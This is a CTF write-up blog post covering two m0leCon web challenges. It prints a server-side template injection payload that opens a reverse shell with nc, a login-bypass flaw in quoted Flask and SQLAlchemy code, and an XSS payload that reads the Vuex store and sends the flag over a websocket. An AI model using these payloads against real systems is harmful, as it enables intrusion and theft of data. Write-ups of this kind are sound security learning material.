ascii-inbox
The problem is giving two websites.
1.https://challs.m0lecon.it:8003/ - Inbox
2.https://challs.m0lecon.it:8004/ - Ascii
The discription gave me 404 pages as a hint.
I immediately thought of a ssti and tried an attack.
I tried reverse shell and I could get shell.
https://challs.m0lecon.it:8004/{{url_for.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f').read()}}
Now I can see source code.
app.py - frontend
def session_email_generator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if not session.get('id'):
session['id'] = "%06x" % random.randint(0, 0xFFFFFF)
# Generate an admin email for each user, in this way I don't need to reset container db and I can't have collisions
response = service_generate_admin(session['id'])
if not response and not response['success']:
if not response:
errors = ['Unknown error!']
else:
errors = response['errors']
return render_template('error.html', errors=errors, title='Ascii Error'), 500
if session.get('id'):
os.environ["ADMIN_ASCII_EMAIL"] = os.getenv('ADMIN_ASCII_EMAIL_FORMAT').format(session['id'])
return f(*args, **kwargs)
return decorated_function
@app.route('/health')
def health():
return '<link rel="icon" href="data:;base64,=">', 200
@app.errorhandler(404)
@session_email_generator
def page_not_found(e):
return render_template('404.html', errors=[''], title='404 Error', path=render_template_string(request.full_path)), 404
@app.route('/')
@session_email_generator
def index():
return render_template('index.html')
I was able to find the code above and began to analyze it.
For all requests, the session_email_generator()
function was running and analyzed its behavior.
This function is sending a request to the backend server.
app.py - backend
@app.route('/generate_admin', methods=['POST'])
def generate_admin():
success = True
errors = []
try:
email = os.getenv('ADMIN_ASCII_EMAIL_FORMAT').format(request.form['id']);
response = inbox_request('/generate_admin', { "email": email, "password": str(uuid.uuid1())})
success = success and response['success']
errors += response['errors']
if success:
session = Session()
session.add(User(email, request.form['id'], os.getenv('FLAG')))
session.commit()
session.close()
except Exception as e:
logging.getLogger('backend').error(e);
errors += [e]
success = False
return jsonify({
"success": success,
"errors": errors
})
Backend server sends the request to Inbox and sets the password of the user as a flag when the request is successful.
At this time, the user's email is set to admin_email, and if we can see the password for admin_email, we can get the flag.
The administrator's e-mail is stored in the environment variable, and we have a shell, so it is possible to check the environment variable and send the password via email through the Recover function.
admin email : FLAG-3cc99f@ASCII.it
Now it is possible for us to check the password in Inbox if we email it through the recover function.
app.py - Inbox
@app.route('/login', methods=['GET', 'POST'])
def login():
errors = []
if request.method == 'POST':
try:
session = Session()
user = session.query(User).filter(
User.email == request.form['email'].lower()
and User.password == request.form['password']
).one()
session.close()
return inbox(user)
except Exception as e:
errors += ['Invalid credentials']
logging.getLogger('inbox').error(e)
return render_template('login.html', title='Login', errors=errors)
You have to log in to check your password, but it's impossible to find out because Inbox's password is set to a random value on the backend server. But it is possible to login even if the password is wrong.
user = session.query(User).filter(User.email == request.form['email'].lower() and User.password == request.form['password']).one()
FLAG : ptm{unicode_transformation_WTF}
FakeAPP
If you enter a challenge, you can log in, and if you log in, you can see a chat service made up of web sockets.
I accidentally put in a link and it became a hyperlink as above and I tried an XSS attack.
https://google.com/'></a><script></script>
It was possible to insert a tag with the following code, but the script tag did not work, so i used eventhandler.
And I tried to steal admin cookies, but he didn't have an Internet connection and I thought about it more.
Then I realized that the service was made of Vue and thought the flag would be stored in Vuex, so I proceeded with the attack.
After successfully accessing Vuex through the __vue__ object, I succeeded in sending any text to me.
Then I thought the flag would be in vuex and sent the text in base64 format through the following code.
https://google.com/'></a><img/src/onerror='vue=document.getElementsByClassName("textarea")[0].__vue__;vue_store=JSON.stringify(vue.$root.$store.state);index=vue_store.indexOf("ptm{");vue.$socket.client.emit("SEND_MESSAGE",{id:"b76465b5-bf49-490a-a53a-b4e52f619830"},"PlainText",btoa(vue_store.slice(index,index+20)))'>
But flag was cut off and I got the full flag to increase length.
FLAG : ptm{bugged_custom_urlify}
'ctf writeup' 카테고리의 다른 글
사이버작전경연대회 2020 본선 - [Web] PMS writeup (0) | 2020.10.19 |
---|---|
SSTF CTF 2020 Web - Migration (0) | 2020.08.18 |
CONfidenceCTF Web writeup - Cat web (0) | 2020.03.15 |
Christmas CTF web writeup (0) | 2019.12.26 |
영남이공대 Hacking Championship Junior CTF writeup (0) | 2019.10.27 |